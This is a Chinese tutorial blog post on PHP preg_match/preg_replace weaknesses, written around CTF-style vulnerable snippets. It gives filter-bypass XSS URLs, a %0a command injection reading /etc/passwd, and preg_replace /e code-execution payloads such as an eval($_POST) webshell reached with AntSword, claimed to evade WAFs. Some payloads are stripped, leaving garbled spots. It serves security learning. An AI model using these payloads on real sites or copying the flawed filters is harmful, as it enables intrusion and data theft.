php双写绕过,PHP preg_系列漏洞小结

最近看 P 神以前写的文章,其中在 3 个参数的回调函数中提到了 preg_replace /e 命令执行,对这块不是很熟悉的我特此写这篇文章总结学习一下。

preg_matchint preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

preg_match 函数用于执行一个正则表达式匹配

参数

说明

$pattern

要搜索的模式,字符串形式。

$subject

要搜索检测的目标字符串

$matches

如果提供了参数matches,它将被填充为搜索结果 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

$flags

$offset

可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)。

preg_replace

preg_replace — 执行一个正则表达式的搜索和替换

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分, 以replacement进行替换。

参数

说明

$pattern

要搜索的模式,可以是字符串或一个字符串数组

$replacement

用于替换的字符串或字符串数组

$subject

要搜索替换的目标字符串或字符串数组

$limit

可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)

$count

可选,为替换执行的次数

如果subject是一个数组, preg_replace()返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的subject被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL 。

场景1 嵌套双写绕过

依然来使用 XSS 的例子:

error_reporting(0);

$name = $_GET["name"];

$name = preg_replace('/script/i','',$name);

echo $name;

?>

虽然使用了 /i 匹配大小写字母,但是逻辑有问题,只是仅仅将关键词替换为空,可以使用嵌套双写绕过:

http://x.x.x.x/xxx.php?name=alert(2333)

类似这种过滤逻辑,在 str_replace 函数中也常见到:

$name = str_replace( 'script', '', $_GET[ 'name' ] );

嵌套双写的加固方法:

$name = preg_replace( '/

使用通配符去匹配的话就可以有效地杜绝嵌套双写 Bypass 的方法,不够 XSS 正确的加固的方法是 HTML 实体化。

修饰符

下面只列举安全生产中常用的修饰符 /i /m 以及本文重点说的 /e

/i

场景1 大小写绕过

/i 修饰符大小写不敏感,如果没有使用 /i 的话,很容易使用大小写绕过。下面来看一个经典的反射 XSS 案例:

error_reporting(0);

$name = $_GET["name"];

if (preg_match('/script/', $_GET["name"])) {

die('hacker');

}

echo $name;

?>

因为没有使用大小写,只过滤了 ,所以这里简单改一下大小写就可以绕过了:

http://x.x.x.x/xxx.php?name=

/m

/m 多行匹配,但是当出现换行符 %0a的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。

 
 

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {

die("Invalid IP address");

}

system("ping -c 2 ".$_GET['ip']);

?>

换行后即可 Bypass:

http://x.x.x.x/xxx.php?ip=127.0.0.1%0acat /etc/passwd

/e

场景1 无限制传参<?php

echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

?>

所以可以传入 /e 的修饰符,然后让代码执行:

http://x.x.x.x/xxx.php?pattern=/233/e&new=phpinfo()&base=233

场景 2 简单正则匹配<?php

error_reporting(0);

include('flag.php');

$pattern = $_REQUEST["pattern"];

$new = $_POST["new"];

$base = '2333';

preg_replace(

$pattern,

$new,

$base

);

?>

就是题型 1 稍微改动了一下,preg_replace 的 $pattern 部分可控,可以手动传入 /e 修饰符,让 $pattern 和 $base 匹配的时候,$new 部分的代码就会被执行,利用这个原理可以构造入下 payload:

http://10.211.55.5/shell/shell.php?pattern=/\d/e

此时使用中国蚁剑去连接 自定义请求头:

74a81f99b88ed7c531a384710358253c.png

ce041c1647892df714845680352dcd30.png

可以直接拿到 getshell 拿到 flag:

1147fbe8c2b4c043a654ab21f1ee87f1.png

场景3 进阶正则匹配<?php

error_reporting(0);

function complexStrtolower($regex, $value){

return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value);

}

foreach($_REQUEST as $regex => $value){

echo complexStrtolower($regex, $value) . "\n";

}

highlight_file(__FILE__);

?>

$regex 和 $value 用户可控,所以思路是构造一个 $regex 匹配 $value 的同时,也让 $value 当做代码执行。

正则表达式

含义

.

匹配除换行符以外的任意字符

\s

匹配任意的空白符

\S

匹配任何非空白字符

+

匹配前面的子表达式一次或多次

所以让 $regex 和 $value 匹配很简单,payload 大概如下即可:

\S+=要执行的 PHP 代码

现在重点研究如何让 PHP 代码被执行吧,我们此时用的 payload 如下:

\S+={${phpinfo()}}

这里涉及到 PHP 可变变量的姿势,这边单独来说明记录一下。

可变变量是一种独特的变量,它允许动态改变一个变量名称。其工作原理是该变量的名称由另外一个变量的值来确定,实现过程就是在变量的前面再多加一个$

$change_name = 'hello';

$hello = 'Hello World';

echo $$change_name; //echo $hello

?>

再看一下下面的例子:

$a = 'hello';

$$a = 'world'; //$hello=world

echo "$a $hello";

echo "$a ${$a}"; //$a $hello

?>

$a 的内容是 hello $hello 的内容是 world。上面代码他们都会输出:hello world。

最后输出的的值为:Hello World

完整的调试过程可以参考下面的详细代码,其中在某些正则的情况下可能存在替换多次的情况,这个可能和 PHP 底层的调度算法有关,不用深入追加这个问题:

error_reporting(0);

var_dump(phpinfo()); // bool(true)

var_dump(strtolower(true)); // string(1) "1"

var_dump(strtolower(phpinfo())); // string(1) "1"

var_dump(preg_replace('/2333/i','ok','2333')); // string(2) "ok"

var_dump(preg_replace('/\d+/i','ok','2333')); // string(2) "ok"

var_dump(preg_replace('/\S+/i','ok','2333')); // string(2) "ok"

var_dump(preg_replace('/.{4}/i','ok','2333')); // string(2) "ok"

var_dump(preg_replace('/[0-9]/i','ok','2333')); // string(8) "okokokok"

var_dump(preg_replace('/[0-9]+/i','ok','2333')); // string(2) "ok"

var_dump(preg_replace('/([0-9])([0-9])/i','ok','2333')); // string(4) "okok"

var_dump(preg_replace('/([0-9])([0-9])([0-9])/i','ok','2333')); // string(3) "ok3"

var_dump(preg_replace('/([0-9])([0-9])([0-9])/i','ok','23333333')); // string(6) "okok33"

var_dump(preg_replace('/.*/i','ok','2333')); // string(4) "okok"

var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}')); // string(2) "11"

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}')); // phpinfo() 执行成功 并输出 string(0) ""

var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}')); // phpinfo() 执行成功 并输出 string(0) ""

// strtolower("{${phpinfo()}}") 执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

?>

最后一行

strtolower("{${phpinfo()}}")

${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} ,因为 phpinfo()成功执行返回 true,所以最后执行后相当于

strtolower("{${1}}") //var_dump 的输出结果 string(0) ""

再次来分析这个 payload:

return preg_replace('/(\S+)/ei', 'strtolower("\\1")', '{${phpinfo()}}');

这次来重点分析理解一下这个代码:

strtolower("\\1")

因为字符串中的特殊字符需要转义, 所以\\1 实际上就是 \1 ,而 \1在正则表达式中表示反向引用。

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以最终 \1 就捕获到了 {${phpinfo()}},所以最终 strtolower("{${phpinfo()}}")就被当做代码执行了。

场景4 多个缓冲区正则匹配

和上面的例子差不多,只是这里想办法让我们的 payload 放入到 \2 编号为 2 的缓冲区:

error_reporting(0);

include('flag.php');

$content = $_POST['x'];

$content = preg_replace(

'(([0-9])(.*?)\1)e',

'strtoupper("\\2")',

$content

);

highlight_file(__FILE__);

?>

最终构造的 POST 数据提交如下 payload,下面只使用一个 phpinfo() 函数测试一下:

x=1{${eval($_POST[2])}}1&2=phpinfo();

有因为在正则表达式中 $1、$2、……表示正则表达式里面第一个、第二个、……括号里面的匹配内容,所以:

'strtoupper("\\2")',

改为如下代码也是完全可行的:

'strtoupper("$2")',

此方法还可以过最新的安全狗和 D 盾

参考资料

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
preg_match函数是PHP中用于执行正则表达式匹配的函数。在CTF比赛中,可能会遇到一些安全控制中使用了正则表达式检查输入的情况。为了绕过这种检查,可以尝试以下方法: 1. 绕过正则表达式匹配的特殊字符:在正则表达式中,有一些特殊字符如$、^、*、+等,如果直接输入这些字符,很可能会被正则表达式匹配函数检测出来。可以使用反斜杠\对这些特殊字符进行转义,绕过检测。例如,要匹配字符串$abc,可以使用正则表达式/\$abc/。 2. 绕过正则表达式中使用的黑名单:有时候,安全控制会设置一个正则表达式的黑名单,例如禁止出现' or ''='等关键词。可以使用一些技巧来绕过这种检测,例如使用大小混合、使用空格、使用HTML实体等。例如,要匹配字符串' or ''=',可以使用正则表达式/'[\s]*oR[\s]*'='[\s]*'/i,其中[\s]*表示0个或多个空格,i表示大小不敏感。 3. 利用正则表达式的漏洞:有时候,正则表达式本身可能存在一些漏洞,可以利用这些漏洞绕过安全控制。例如,正则表达式中的量词可能会导致性能问题,可以尝试使用非贪婪量词来绕过匹配。例如,要匹配字符串abc,可以使用正则表达式/a.*?c/,其中.*?表示非贪婪匹配任意字符。 4. 绕过正则表达式的限制:有时候,正则表达式的长度限制或者复杂度限制可能会导致无法匹配某些字符串。可以尝试使用一些技巧来绕过这种限制,例如将正则表达式拆分成多个部分、使用递归匹配等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值